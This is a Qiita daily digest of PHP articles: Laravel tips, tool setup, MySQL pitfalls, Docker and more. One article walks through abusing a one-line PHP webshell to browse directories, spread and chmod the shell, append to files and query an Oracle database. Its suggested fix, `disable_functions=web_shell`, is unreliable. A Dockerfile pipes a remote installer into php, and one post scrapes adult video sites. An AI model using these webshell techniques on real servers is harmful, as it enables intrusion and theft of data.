20190215のPHPに関する記事は18件です。

【Laravel5.7】カラム名でBETWEENしたい

SELECT * FROM table WHERE id BETWEEN 1 AND 10と書きたい場合は普通に書けます。

$response = Table::whereBetween('id', [1, 10])->get();

こうすると`id` BETWEEN ? AND ?というSQLが発行され、正しく想定通りの結果を得られます。

ところで、たとえば表示開始時刻から表示終了時刻までは表示する、といった仕組みを作りたい場合はどうすればいいか。
つまりSELECT * FROM table WHERE NOW() BETWEEN display_start AND display_endということです。

これを調べてみたのだけど、意外と見当たらなかった。

$response = Table::whereBetween('NOW()', ['display_start', 'display_end'])->get();

こう書くと、`NOW()` BETWEEN ? AND ?とかいうSQLが発行されてしまいます。
当然NOW()なんてカラムは無いのでエラーです。

仕方ないので試しにやってみたらこれで動いた。

$response = Table::whereBetween(DB::raw('NOW()'), [DB::raw('display_start'), DB::raw('display_end')])->get();

いや、うん、想定通りのSQLが発行されてるし、結果も正しいけど、なんというかこれでいいのか?

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

酒が飲めるワンライン

perl (5.18.2 で確認)

perl -E 'say"$_月は横浜で酒が飲めるぞ"for(1..12)'

ruby

ruby -e '12.times{|i|puts"#{i+1}月は横浜で酒が飲めるぞ"}'

bash

echo -e {1..12}月は横浜で酒が飲めるぞ"\n"

python3 (3.7.2 で確認)

python3 -c 'for n in range(1, 13): print(f"{n}月は横浜で酒が飲めるぞ")'

emacs-lisp (GNU Emacs 26.1 で確認)

(require 'cl)(let ((x 0))(while (< x 12) (cl-incf x)(insert (format "%d月は横浜で酒が飲めるぞ\n" x))))

php (PHP 5.6.30 で確認)

php -r 'for($i=1;$i<13;$i++){echo $i."月は横浜で酒が飲めるぞ\n";}'

Elixr (1.6.4 で確認)

elixir -e "1..12 |> Enum.map(&(\"#{&1}月は横浜で酒が飲めるぞ\n\")) |> IO.puts"

MySQL版 (MySQL 8 で確認)

CREATE DATABASE s;CREATE TABLE s.y (m int auto_increment, PRIMARY KEY (`m`));INSERT INTO s.y value (),(),(),(),(),(),(),(),(),(),(),();SELECT CONCAT(m, '月は横浜で酒が飲めるぞ') FROM s.y;DROP DATABASE s;

PostgreSQL (9.3 で確認)

psql -c "WITH RECURSIVE seq(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM seq WHERE i < 12) SELECT i || '月は横浜で酒が飲めるぞ' FROM seq;"

JavaScript (node.js v10.14.2)

node -e "for(let i=1;i<13;i++)console.log(i+'月は横浜で酒が飲めるぞ')"

Haskell (ghc8.4.4)

ghc -e 'mapM_ (\n-> putStrLn $ show n ++ "月は横浜で酒が飲めるぞ") [1..12]' 

GAWK(GNU Awk 4.1.3)

gawk 'BEGIN{for(i=1;i<13;i++) print i"月は横浜で酒が飲めるぞ"}'
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Laravel】ユーザー認証を、他テーブルのIDとパスワードで認証する

環境

  • Laravel5.6

対象ケース

 該当のEloquent(Users等)で認証したいが、IDとパスワードは別のテーブルのカラムを使用したい
例えば、認証機能を複数用意しており、それぞれEloquentモデルを分けているが、IDとパスワードは1箇所のテーブルにまとまっているなど。

概要

 Laravelでは認証機能が標準で用意されており、php aritsan make:authするとデフォルトのセットが追加されます。
通常、config/auth.phpの内容に沿って処理が展開される流れとなります。

config/auth.php
'defaults' => [
    'guard' => 'app',
    'passwords' => 'users',
],

'guards' => [
    'app' => [
        'driver' => 'session',
        'provider' => 'users',
    ],

    // 追加
    'admin' => [
        'driver' => 'session',
        'provider' => 'admin',
    ],
],

'providers' => [
    'users' => [
        'driver' => 'eloquent',
        'model' => App\Models\User::class,
    ],

    // 追加
    'admin' => [
        'driver' => 'eloquent',
        'model' => App\Models\Admins::class,
    ],
],

'passwords' => [
    'users' => [
        'provider' => 'users',
        'table' => 'password_resets',
        'expire' => 60,
    ],
],

Adminsのモデルを使いたいが、IDとパスワードはUsersに存在すると仮定します。

config/auth.php
'providers' => [
    'users' => [
        'driver' => 'eloquent',
        'model' => App\Models\User::class,
    ],

    // 追加
    'admin' => [
        'driver' => 'custom_eloquent',
        'model' => App\Models\Admins::class,
    ],
],

ポイントは、↑のdriverを独自で作ってあげることです。

app/Providers/AuthServiceProvider.php
public function register()
{
    Auth::provider('custom_eloquent', function($app) {
        return new CustomEloquentProvider($app['hash'], config('auth.providers.admin.model'));
    });
}
app/Drivers/CustomEloquentProvider.php
use Illuminate\Support\Str;
use Illuminate\Auth\EloquentUserProvider;

class CustomEloquentProvider extends EloquentUserProvider
{
    public function retrieveByCredentials(array $credentials)
    {
        if (empty($credentials) ||
            (count($credentials) === 1 &&
                array_key_exists('password', $credentials))) {
            return;
        }

        // クエリを変更
        $query = $this->createModel()->query()
            ->select(['admin.*', 'users.username', 'users.password'])
            ->join('users', 'users.id', '=', 'admin.user_id');

        foreach ($credentials as $key => $value) {
            if (! Str::contains($key, 'password')) {
                $query->where($key, $value);
            }
        }

        return $query->first();
    }
}

Illuminate\Auth\EloquentUserProviderの中身を追っていくと分かりますが、
実際に認証クエリを発行しているメソッドはretrieveByCredentialsであることが分かります。
retrieveByCredentialsをオーバーライドしてあげれば自由に処理を変更することができます。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

[php] 外部API呼び出しブラウザで見れるのにfile_get_contentsで呼ぶとWarningとなる

前置き

外部APIを呼び出す実装を行う際に、用意されていたサーバーのモジュールがバラバラでcurlが使用できない条件だったので、file_get_contentsを使用し外部APIで呼び出すのにハマったのでメモ的に記載しておく。

環境は
php7.2 fuelphp1.8

ハマりどこ

ブラウザでたたくときちんとJSONコードが返ってくるが、file_get_contentsで呼び出すと、下記Warningが出てしまった。

Fuel\Core\PhpErrorException [ Warning ]:
file_get_contents(http://hogehoge/auth/login): failed to open stream: HTTP request failed! HTTP/1.0 401 Unauthorized

結果

file_get_contents の第三引数に渡すコンテキストリソースを作成して渡すことで解決しました。

こんな感じです。

qiita.rb
$url = 'http://hogehoge/auth/login';
$context = stream_context_create(array(
 'http' => array('ignore_errors' => true)
));
echo file_get_contents($url, false, $context);

参考にさせて頂いたサイト。ありがとうございます!
Data API を PHP の file_get_contents で取得するときに注意した方がいいかもしれないこと
[メモ] PHPのfile_get_contentsを、HTTPリクエストに使うときのTIPS

ちなみに...

file_get_contents の頭に「@」を付けて「@file_get_contents」にすれば、Warning はでなくなったのですが、根本は解決しませんでした。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

booked2.7.2から2.7.4へ

オープンソースの予約管理システムBookedのバージョンを2.7.2から2.7.4に変更するためのメモ
今後のバージョンアップのためにもちゃんと書く。
https://www.bookedscheduler.com/

ちなみにWindowsね

 準備

 ダウンロード

上記サイトのDownloadから最新版のzipをダウンロードする。Windowsサーバで展開する。
旧: "C:\Apache24\htdocs\booked"
新: "C:\Apache24\htdocs\booked274"
こんな構成にしておく。

 導入

httpd.confの加工

これが大本

\Apache24\conf\httpd.conf
Alias /booked "C:/Apache24/htdocs/booked"
<Directory "C:/Apache24/htdocs/booked">
<RequireAny>
Require local
Require ip xxx.xxx.xxx.xxx
</RequireAny>
</Directory>

大雑把に動くやつを作って挿入

\Apache24\conf\httpd.conf
Alias /booked274 "C:/Apache24/htdocs/booked274"
<Directory "C:/Apache24/htdocs/booked274">
        Order allow,deny
        Allow from all
</Directory>

 config.phpを作る

config.dist.phpをリネームして作る。修正したところだけ抜粋

\Apache24\htdocs\booked274\config\config.php
 */
$conf['settings']['default.timezone'] = 'Asia/Tokyo';      // look up here 

$conf['settings']['default.language'] = 'ja_jp';                // find your language in the lang directory
$conf['settings']['script.url'] = 'http://exsample.com/booked274/Web';      // public URL to the Web directory of this instance. this is the URL that appears 

$conf['settings']['database']['name'] = 'booked';

ひとまずこれで検証できるようになった。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

webshellで出来ることの検証

はじめに

もしweb上でshellが実行できてしまったら・・・?
改めて脅威を認識するためにwebshellで出来ることを検証しました。

とても恐ろしいですので、出来ても悪用しないようにお願いします。
※注 テストサーバであっても外部公開されている環境で行なわないで下さい。

前提条件

前提条件として管理しているWebサーバ上に、下記のファイルが置かれてしまった。
という想定の元で検証を進めます。

webshell.php
<?php system($_GET["cmd"]);?>

このようなファイルが置かれてしまうことは・・・往々にしてありますね
もし見つけたらgrepして今すぐ削除して下さい。(笑)

正直な話、対策がされていない状態で、こんなファイルが置かれてしまった時点で何でも出来てしまいます。
なので今回はgetパラメータで出来る事に重きを置いて検証します。

検証開始

では実際に検証していきます。
簡単なものから試して、最後に応用してみましょう。

Step1 検索コマンド

pwdlsfindといった検索系のコマンドを主に検証してきます。

カレントディレクトリの取得

pwdでカレントディレクトリを取得してみましょう。

http://192.168.1.29/test/webshell.php?cmd=pwd

image.png

ディレクトリは残念ながら見せられませんが、カレントディレクトリが取得できます。

ディレクトリ一覧の取得

次に一覧を取得するlsを試してみます。
-laオプションも付けて実行してみましょう。

http://192.168.1.29/test/webshell.php?cmd=ls -la

image.png

正常に取得できますね。ブラウザ上で見ると<br>が無いので改行されないのでしょう。
ソースで見れば綺麗に取得できていることがわかります。

image.png

ファイルの検索

cdは出来てもあまり意味が無さそうなので、
findでファイルの検索が出来るか検証してみましょう。

http://192.168.1.29/test/webshell.php?cmd=find ./ -name "webshell*"

image.png

検索も問題なく出来そうですね。
パーミッションで閲覧が出来なければ問題ありませんが、
細かく設定していない場合は脅威になりそうです。

Step2 操作コマンド

Step1では検索系を主に検証してきました。
続いては操作系のvichmodechocpを検証していきます。

ファイルの書き込み

まずはviから検証進めていきます。

http://192.168.1.29/test/webshell.php?cmd=vi webshell.php

image.png

想定通りでしょうか。
エディタが開くコマンドや対話型のコマンドはWebベースだと上手く行かないようです。
ポーリングしているわけでもないですので、当然と言えば当然ですね。

1行でかければ対象行を書いて保存。なんてこともできるかも・・・?

ファイル権限の変更

次にchmodで権限を変更してみます。

http://192.168.1.29/test/webshell.php?cmd=chmod 777 webshell.php

画面上では何も確認出来ませんでしたので、lsで確認してみましょう。
image.png

ふむ・・・権限変更がされていません。
おっと、よく見るとディレクトリ自体にrootでも書き込み権限がありませんね。

ファイルがあげられた時点で書き込み権限はあると思いますが、
今回は試しに書き込み権限がある場所を探してみましょう。

xargsを使って指定ディレクトリを全て見るのも良いですが、
折角なのでfindを使用してパーミッションがゆる~いディレクトリを探してみましょう。

http://192.168.1.29/test/webshell.php?cmd=find ../../ -type d -maxdepth 1 -ls  -perm /777

ディレクトリは全部舐めても構いませんが、重いので2~4階層を狙ったほうが良いかもしれません。
-type dでディレクトリに絞り、-maxdepth 1で1階層に絞ります。(実際はつけなくて良いです。)
-perm /777でそれぞれ権限7が付与されているものを検索!

image.png

全っ然見せられませんが!
権限が許そうなフォルダを見つけることが出来ました。

ではゆるふわディレクトリに対してcpでコピーが出来るか試してみましょう。

http://192.168.1.29/test/webshell.php?cmd=cp webshell.php ../../_XXXXX/webshell.php

画面には何も返ってきませんので、lsで確認してみましょう。

image.png

出来ちゃいますね~。
ここならchmodで権限を返ることも出来るのではないでしょうか!
実行してlsで確認してみましょう。

http://192.168.1.29/test/webshell.php?cmd=chmod 777 ../../_XXXXX/webshell.php

image.png

当然、出来てしまいますね。
書き込み権限があったほうが便利ですので、此処から先の検証はコピーしたファイルとディレクトリを
媒体にして進めていきます。

文字出力&ファイルの書き込み

気分を変えてechoを検証してみましょう。

http://192.168.1.29/test/webshell.php?cmd=echo Hello!

image.png
文字が表示できました!!(違)
単純に文字が表示できてもって話ですので、ファイルに文字が書き込めるか試してみます。

http://192.168.1.29/test/webshell.php?cmd=echo Hello! >> ../../_XXXXX/webshell.php

lessで追記されているか見てみましょう。
image.png

お、おお・・・ちゃんと追記されています。
これで、既存のファイルに対してScriptを埋め込むことも可能ですね。

しかもlessすると外部公開していない場所のphp等々を
ブラウザで出力することが可能ですね・・・。

非公開ディレクトリのファイルをブラウザで出力することが可能!

Step3 DB操作コマンド

最後にDB接続できるか検証していきます。
一番面倒くさそうなOracleで検証していきましょう。

Oracleの場合だと、インストール時にSQLPlusがインストールされていることが多いです。
SQLPlusがインストールされてなかったら諦めましょう。

http://192.168.1.29/test/webshell.php?cmd=sqlplus user/passwd@dbname

画面上で何も返ってきませんね。
上記にも書きましたが対話型は厳しいのでしょうか・・・?

良くあるrootで-bash権限がないってパターンでしょうかね。

ないなら直接叩けばいいじゃない!!!

ということでfindでも何でも良いのでsqlplusの場所を探しましょう。
ディレクトリを絞りつつやらないと、timeoutになりがちですね。

/XXX/bin/sqlplus

SQLplusのディレクトリを見つけましたので、早速試してみましょう。

http://192.168.1.29/test/webshell.php?cmd=/XXX/bin/sqlplus user/passwd@dbname

image.png

接続さはされるけど同時に切断されてしまうようです。

応用編 DBからデータを取得

検証も終盤を迎えました。これからが本番です。

接続出来るだけでは役に立ちませんので、
今まで検証してきたものを合わせてDBからデータを取得を試みます。

此処でひとつの仮説を立ててみました。

1コマンドで接続、SQL文の発行まで出来ればSQLの内容を取得できるのではないか?

実現可能かどうかを調べると、echoと組み合わせることで発行することが出来そう。
早速、組み立てて実行してみます。

http://192.168.1.29/test/webshell.php?cmd=echo select * from dual; | /XXX/bin/sqlplus user/passwd@dbname

echoでSQL文を記述。パイプでDBに接続します。
いけそうな気がしてきましたね。実行!!

・・・

画面から返ってきません。
接続が成功していれば先ほどのように接続しましたという情報が出るはずなので、
何かしらの構文が間違っている可能性があります。

・・・

*が怪しいですね。もしかするとSQL文が発行される前にどこかでエンコードされてしまうのでしょうか。
試し記号をエスケープして実行してみます。

http://192.168.1.29/test/webshell.php?cmd=echo select '*' from dual ';' | /XXX/bin/sqlplus user/passwd@dbname

sqlplusの-sはサイレントオプションで接続情報が表示されなくなります。

image.png

余裕でしたね。(1時間くらいかかりました。)
接続してDBから取得することが出来ました~。

対策方法

全てを防ぐということは難しいと思いますが、
まずは権限を見直すことでしょうか。

ただ、私が途中でパーミッションを検索したように一つでも漏れがあれば、
権限がある場所から如何様にも楽しむことができてしまいます。

もう一つの対策としてphpの設定でwebshellを制限掛けることが出来ます。

php.ini
disable_functions=web_shell

systemコマンドは殆ど使うことが無いと思いますので、
disableにしてしまって良いと思います。

もし現状で公開しているサーバで使用してしているのであれば仕組みに問題があるため、
使用しない作りに修正するべきです。

まとめ

今回は自分の知見を深めるために、何処まで出来るのかを検証しました。
何がやれるのかをある程度把握できれば、アラートがあげやすいのではないでしょうか。

冒頭にも申し上げましたが、こんなファイル上がった時点で終わりです(笑)
何でも出来てしまいますので、手遅れになる前にセキュリティ意識を高めていきたいですね。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【WordPress】ウィジェットでショートコードを設置できるようにする

WordPressのウィジェットはショートコードを書いてもただの文字として認識されちゃう。
でも下記を記述するだけでショートコードとして認識してくれる。うれしい。

fuction.php
add_filter('widget_text', 'do_shortcode' );

終わり

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

MySQLのフィールドにおいて、長い文字列=TEXT型と安易に考えてはいけない

wysiwygエディタで入力したhtmlをデータベースに保存するというのはよくあるケースではないかと思います。
今回は、エディタを保存するフィールドを何も考えずTEXT型にしてしまうと、不具合になるかもよ!というお話です。

ある日のテストで、登録処理を通ったのにエディタに何も出てこない不具合を発見。

  • ログにエラーは吐かれていない。
  • エディタを外しても現象は再現する。
  • 別所で同じエディタを使っている所は通るし、中身も出る。

phpから取ったsqlを投げてみると

error 1406 - Data too long for column

指定のフィールドを見てみると途中でエディタに入力した内容が途切れていました。
よくよく見ると、中身が出たデータも途中で切れています。

根本的な原因
TEXT型の最大値の量を超えたため。
MySQL 5.6 リファレンスマニュアルには

最大長が 65,535 (216 − 1) 文字の TEXT カラム。値にマルチバイト文字が含まれる場合、有効な最大長は少なくなります。各 TEXT 値は、値のバイト数を示す 2 バイト長のプリフィクスを使用して格納されます。

とあるので、日本語だと4万文字もあればキャパオーバーしそうです。

なぜ真っ白に?
入っているデータの出だしは以下の通り。

[{"craft":"<p>boss<\/p>\r\n","~

json_encodeされていますね。
途中で途切れた結果、閉じ括弧がなくjson_decodeが出来なかったのでしょう。

なぜ正常に通ってしまったのか
SQLを抽出してMySQLで投げると通らないパターンがちょいちょいあります。大体NULL関係と文字長さで引っかかるんですが。。。
フレームワークによるものなのか何なのか、詳しい方是非ご教授お願いいたします。

対策
きちんと使用目的に合った型を宣言する事。
今回はどれだけの長さになるか想定できないので対象のフィールドをLONGTEXT型とし解決しました。
それだけでなくquery長(SQL文の文字数)にも制限があるので注意。
 詳しくはmax_allowed_packetなどで検索検索ゥ!
最大文字数に合わせて各input項目にバリデーションがあると尚良いかなと思います!

決してTEXT型に限ったお話でもないので、皆様もサイレント文字数カットによる不具合にお気をつけ下さい。:point_left::smiley_cat:

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

MySQLで長い文字列=TEXT型と安易に考えてはいけない

wysiwygエディタで入力したhtmlをデータベースに保存するというのはよくあるケースではないかと思います。
今回は、エディタを保存するフィールドを何も考えずTEXT型にしてしまうと、不具合になるかもよ!というお話です。

ある日のテストで、登録処理を通ったのにエディタに何も出てこない不具合を発見。

  • ログにエラーは吐かれていない。
  • エディタを外しても現象は再現する。
  • 別所で同じエディタを使っている所は通るし、中身も出る。

phpから取ったsqlを投げてみると

error 1406 - Data too long for column

指定のフィールドを見てみると途中でエディタに入力した内容が途切れていました。
よくよく見ると、中身が出たデータも途中で切れています。

根本的な原因
TEXT型の最大値の量を超えたため。
MySQL 5.6 リファレンスマニュアルには

最大長が 65,535 (216 − 1) 文字の TEXT カラム。値にマルチバイト文字が含まれる場合、有効な最大長は少なくなります。各 TEXT 値は、値のバイト数を示す 2 バイト長のプリフィクスを使用して格納されます。

とあるので、日本語だと4万文字もあればキャパオーバーしそうです。

なぜ真っ白に?
入っているデータの出だしは以下の通り。

[{"craft":"<p>boss<\/p>\r\n","~

json_encodeされていますね。
途中で途切れた結果、閉じ括弧がなくjson_decodeが出来なかったのでしょう。

なぜ正常に通ってしまったのか
SQLを抽出してMySQLで投げると通らないパターンがちょいちょいあります。大体NULL関係と文字長さで引っかかるんですが。。。
フレームワークによるものなのか何なのか、詳しい方是非ご教授お願いいたします。

対策
きちんと使用目的に合った型を宣言する事。
今回はどれだけの長さになるか想定できないので対象のフィールドをLONGTEXT型とし解決しました。
それだけでなくquery長(SQL文の文字数)にも制限があるので注意。
 詳しくはmax_allowed_packetなどで検索検索ゥ!
最大文字数に合わせて各input項目にバリデーションがあると尚良いかなと思います!

決してTEXT型に限ったお話でもないので、皆様もサイレント文字数カットによる不具合にお気をつけ下さい。:point_left::smiley_cat:

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Exctractor de vídeos MP4 en PHP

La misión desarrollar un script que extraiga la URL de sitios tube que generen el enlace directo al MP4 dentro de su código, éste deberá ser cacheado y renovado después de ciertos minutos debido a que el enlace tiene un limitado periodo de validéz.

Tecnologías a utilizar

  • PHP
  • jQuery
  • CSS

Este proyecto sirve de inicio para una serie de plataformas a realizar mediante web scraping, esto a petición de un cliente con una serie de sitios web para adultos. Su proyecto consiste en crear una nueva web de fotos porno de manera que ésta se actualice diariamente de forma automática, pasando por una lista de webs externas a rastrear donde publican cada día, nuevas fotos para adultos. Gracias a esto, la página siempre permanecerá actualizada sin necesidad de intervención manual por parte de los administradores.
Esta web también contará con un sistema de vídeos para adultos, los cuales utilizando un método similar al extractor de fotos, se adaptará para que saque los últimos vídeos, además de recuperar las etiquetas e ingresarlas a una base de datos a manera de categorías. En un principio se trabajará con el tube para adultos xVideos y RedTube, posteriormente y en base a la efectividad del mismo, deberá adaptarse a cualquier tube.

Comencemos a jugar con la siguiente función para extraer la url del vídeo haciendo uso de expresiones regulares..

<?php
function redtube($html){
$extrae = preg_match_all('/\"videoUrl\":(\S*)$/m', $html, $matches);
foreach ($matches[0] as $imgs){
if(preg_match("/mp4/",$imgs)){
//$salida .= preg_replace('/"}],/',' ',$imgs);
}
$salida .= $imgs;
}
$salida = preg_replace('/"videoUrl":"/','',$salida);
return $salida;
}

?>
Con esto podemos comenzar, a fabricar nuestro sistema para extraer la url directa de nuestros vídeos para adultos y posteriormente continuar con las fotos porno, las fuentes de donde decidan extraer el contenido queda a decisión y preferencias de cada quién.

Cualquier aporte o idea serán bienvenidos.

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

¿Qué se puede hacer aquí?

Pues nada, solo es una prueba para ver como se maneja esto. Estoy pensando en utilizarlo para compartir alguna que otra información interesante. :rolling_eyes: aa

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

dylib が見つからないから始まる PHP インストール地獄

brew あるものをインストールしたら、PHP が起動しなくなっちゃいました。そこから始まった PHP インストール地獄の話です。

環境は macOS Mojave 10.14.3 で、brew でインストールした PHP と、phpbrew で別バージョンを使えるようにしています。

ことの始まり

brew であるものをインストールしました。その際に homebrew を update したんですが、その後 php がエラーを吐いて起動しなくなっちゃいました。

$ php -v
dyld: Library not loaded: /usr/local/opt/icu4c/lib/libicui18n.62.dylib
  Referenced from: /usr/local/bin/php
  Reason: image not found
zsh: abort      php -v

まずそれを修復しました。

参考: https://qiita.com/yasu_yyy/items/2f6a6b0bc562f082d999

$ brew update php

phpbrew で PHP 7.2 をインストール

これで、php のバージョンが最新版 (7.3.2) になって、エラーが出なくなりました。

開発中のシステムは 7.2 なので、phpbrew で 7.2 をインストールすることにします。

$ phpbrew install 7.2 +default +dbs

evp.h が見つからないエラー

configure でエラーが発生しています。

Error: Configure failed:
The last 5 lines in the log file:
checking for Kerberos support... no

checking whether to use system default cipher list instead of hardcoded value... no

checking for RAND_egd... no

checking for pkg-config... no

configure: error: Cannot find OpenSSL's <evp.h>

evp.h が見つからないということなので、openssl の場所を指定してやるといいようです。

参考: https://github.com/phpbrew/phpbrew/issues/646

$ phpbrew install 7.2 +default +dbs -- --with-openssl=/usr/local/opt/openssl

または

$ phpbrew install 7.2 +default +dbs +openssl=/usr/local/opt/openssl

BZip2 がないというエラー

Error: Configure failed:
The last 5 lines in the log file:
checking if the location of ZLIB install directory is defined... no

checking whether to enable bc style precision math functions... yes

checking for BZip2 support... yes

checking for BZip2 in default path... not found

configure: error: Please reinstall the BZip2 distribution

zlib2 は入っているんですよねぇ。

phpbrew のこちらの issueを参考にしてパラメータを加えます。わらしべ長者のようにだんだんオプションが増えていきます。

You can use brew --prefix bzip2 to get the path to bzip2 if you installed it with homebrew. Here's how I'm compiling PHP 7.1 on macOS 10.14:

$ phpbrew install 7.2 +default +dbs +openssl=/usr/local/opt/openssl +bz2="$(brew --prefix bzip2)"

参考: https://github.com/phpbrew/phpbrew/issues/966

cURL がない

Error: Configure failed:
The last 5 lines in the log file:
checking for cURL support... yes

configure: WARNING: Fallback: search for curl headers and curl-config

checking for cURL in default path... not found

configure: error: Please reinstall the libcurl distribution -

      easy.h should be in <curl-dir>/include/curl/

これは単純に入ってなかったのでインストールすることにします。

$ brew install curl

libzip がない

Error: Configure failed:
The last 5 lines in the log file:
checking whether to enable zend-test extension... no

checking for zip archive read/writesupport... yes

checking pcre install prefix... /usr/local

checking libzip... no

checking for the location of zlib... configure: error: zip support requires ZLIB. Use --with-zlib-dir=<DIR> to specify prefix where ZLIB include and library are located

最後のを頼りにして、BZip2 のときの issue を見直して、オプションを加えました。

$  phpbrew install 7.2 +default +dbs +openssl=/usr/local/opt/openssl +bz2="$(brew --prefix bzip2)" +zlib="$(brew --prefix zlib)"

結果

===> phpbrew will now build 7.2.11
===> Loading and resolving variants...
        :
        :
        :
To use the newly built PHP, try the line(s) below:

    $ phpbrew use php-7.2.11

Or you can use switch command to switch your default php to php-7.2.11:

    $ phpbrew switch php-7.2.11

Enjoy!

やっとインストールできました。

毎度毎度、とっても面倒くさい phpbrew 。開発環境はどんどん Docker に切り替えていきたいですね。

最終的なコマンドライン

iconv や xdebug 入れないとだったので、最終的には次のようになりました。

$ phpbrew install 7.2 +default +dbs +debug +openssl=/usr/local/opt/openssl +bz2="$(brew --prefix bzip2)" +zlib="$(brew --prefix zlib)" +iconv="$(brew --prefix libiconv)"
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

php-master-changes 2019-02-14

今日は timelib.m4 の削除、PHP Testfest 2017 で追加されたテストの取り込み、PDO::setFetchMode() の arginfo 修正、ドキュメントの更新、SIMD 利用での最適化箇所の取り扱いの修正、
setcookie() が誤った SameSite ヘッダーを設定する問題の修正、コンストラクタの可視性を継承先で public から private へ変えるようなコードがエラーになっていた問題の修正、get_class_methods() と reflection でのコンストラクタチェック処理の修正、存在しないプロパティへのアクセスで勝手に stdClass のオブジェクトが作られる際の警告出力の修正、typo 修正、Global register variables 無しの環境でのビルドの修正があった!

2019-02-14

petk: Refactor timelib.m4

kea: http_build_query add type cases

carusogabriel: Missing param in arginfo_pdostatement_setfetchmode

carusogabriel: Add UPGRADING entry for ad75511c8e

nikic: Work around compiler flag dependent ABI

nikic: Fixed bug #77612

dstogov: Fixed bug #77613 (method visibility change) (reverted ZEND_ACC_CTOR and ZEND_ACC_DTOR flags removal)

nikic: Remove bogus ctor checks in get_class_methods() + reflection

nikic: Make ABI of SIMD optimized functions independent of compiler flags

nikic: Use #ifdef instead of #if

bp1222: Fixed bug #75921

  • https://github.com/php/php-src/commit/e63febb1c772e15c1da891f00e3a343090e43c67
  • [7.4~]
  • 存在しないプロパティへのアクセスで勝手に stdClass のオブジェクトが作られる際、配列の添字指定と組み合わせた式では "Creating default object from empty value" の警告が出ない問題の修正
  • 修正の副作用として、これまで 1 つしか警告出なかった箇所で 2 つ出るようになってるケースがある

nikic: Fix typo in XML test

nikic: Fix build without global regs

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Dockerでlaravel環境を構築してみた

Dockerでlaravel環境を構築してみた

Dockerでlaravel環境を構築した際の手順を備忘録的に残しとこうと思い投稿しました。

導入ミドルウェア

  • HTTPサーバ nginx:1.15.8
  • PHP php:7.3-fpm
  • DB mysql:8

フォルダ構成

設定ファイルなどの事前に作成するファイルの格納場所を示しています。

project/
├docker-compose.yml
├docker/
  └ap/
   └Dockerfile
├server/
  └ap/
  └db/
  └web/
   └etc/
    └nginx/
     └conf.d/
      default.conf

各種設定ファイルの記載

docker-compose.yml

dockerの構成の大元となるファイルを設定していきます。
HTTPサーバとDB製品に関しては、公式イメージをそのまま使用します。

version: '3'
services:
  web:
    image: nginx:1.15.8
    ports:
      - "8000:80"
    depends_on:
      - ap
    # 設定ファイルをnginx に読み込ませる
    volumes:
      - ./server/web/etc/nginx/conf.d/default.conf:/etc/nginx/conf.d/default.conf
  ap:
    build: ./docker/ap
    depends_on:
      - db
    # ソースフォルダとして利用する
    volumes:
      - ./server/ap/application:/var/www/html
  db:
    image: mysql:8
    environment:
      MYSQL_DATABASE: dbname
      MYSQL_USER: user
      MYSQL_PASSWORD: password
      MYSQL_ROOT_PASSWORD: password
    ports:
      - "3306:3306"
    # containerを停止してもデータが消えないように永続化する
    volumes:
      - ./server/db/var/lib/mysql:/var/lib/mysql

Dockerfile

phpの導入に関しては、composerの導入などがあるため、公式イメージ + 作業を記載していきます。

FROM php:7.3-fpm

# composerの導入
RUN cd /usr/bin && curl -s http://getcomposer.org/installer | php && ln -s /usr/bin/composer.phar /usr/bin/composer
RUN apt-get update \
&& apt-get install -y \
git \
zip \
unzip \
vim

# PHPのExtensionsを導入
RUN apt-get update \
&& apt-get install -y libpq-dev \
&& docker-php-ext-install pdo_mysql pdo_pgsql

WORKDIR /var/www/html

default.conf

nginxの設定ファイルを更新します。

server {
    listen 80;

    # appnameはlaravelプロジェクトの名前を設定
    root   /var/www/html/appname/public;
    index index.php index.html index.htm;

    access_log /var/log/nginx/access.log;
    error_log  /var/log/nginx/error.log;

    location / {
        try_files $uri $uri/ /index.php$is_args$args;
    }

    location ~ \.php$ {
          fastcgi_split_path_info ^(.+\.php)(/.+)$;
          fastcgi_pass   ap:9000;
          fastcgi_index  index.php;

          include        fastcgi_params;
          fastcgi_param  SCRIPT_FILENAME $document_root$fastcgi_script_name;
          fastcgi_param  PATH_INFO $fastcgi_path_info;
      }
}

起動&MySQLのユーザ設定

設定ファイルがかけたらDockerを起動します。docker-compose.ymlのファイルがある箇所で以下を実行する。

docker-compose up -d

MySQL利用者設定

laravelからDB接続する際に、デフォルトだと認証エラーが発生してしまいます。
MySQL8だとデフォルトの認証方式が変わったのですが、laravel側が対応できてないみたいです。
そのため、利用者の設定をするため、dbコンテナに入ります。

docker-compose exec db bash

mysqlの認証方式を変更します。

mysql -u root -p
ALTER USER 'user'@'localhost' IDENTIFIED WITH mysql_native_password BY 'password';

設定が終わったら、dbコンテナからexitで抜けましょう。

laravelプロジェクトの作成

apコンテナの中に入って、laravelプロジェクトを作成します。

docker-compose exec ap bash
# appnameは好きな名前にしてください
composer create-project --prefer-dist laravel/laravel appname

ここまできたら、laravelプロジェクトにアクセスができるはずです。
http://localhost:8000/

最後にマイグレーションファイルの作成

最後にマイグレーションファイルを作成しましょう!
projeect/server/ap/application/appname配下にある「.env」ファイルのDB定義を書き換えます。

DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=dbname
DB_USERNAME=user
DB_PASSWORD=password

以下のコマンドを入力して、マイグレーションファイルを作成しましょう。

docker-compose exec ap bash
cd appname
php artisan migrate

「Migration table created successfully.」と出力されれば完了です。

最後までみていただき、ありがとうございました。
ミスや不明な点があれば、ご連絡ください。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PHPの連想配列で複数カラムを指定してGROUP BYしたい。

こんな配列をGroup Byしたい。

GroupByArray.php
/** @var array 温泉地テーブル. */
private const TABLE = [
    ['kuni' => '日本', 'todofuken' => '群馬県', 'shi' => '吾妻郡', 'onsen' => '草津'],
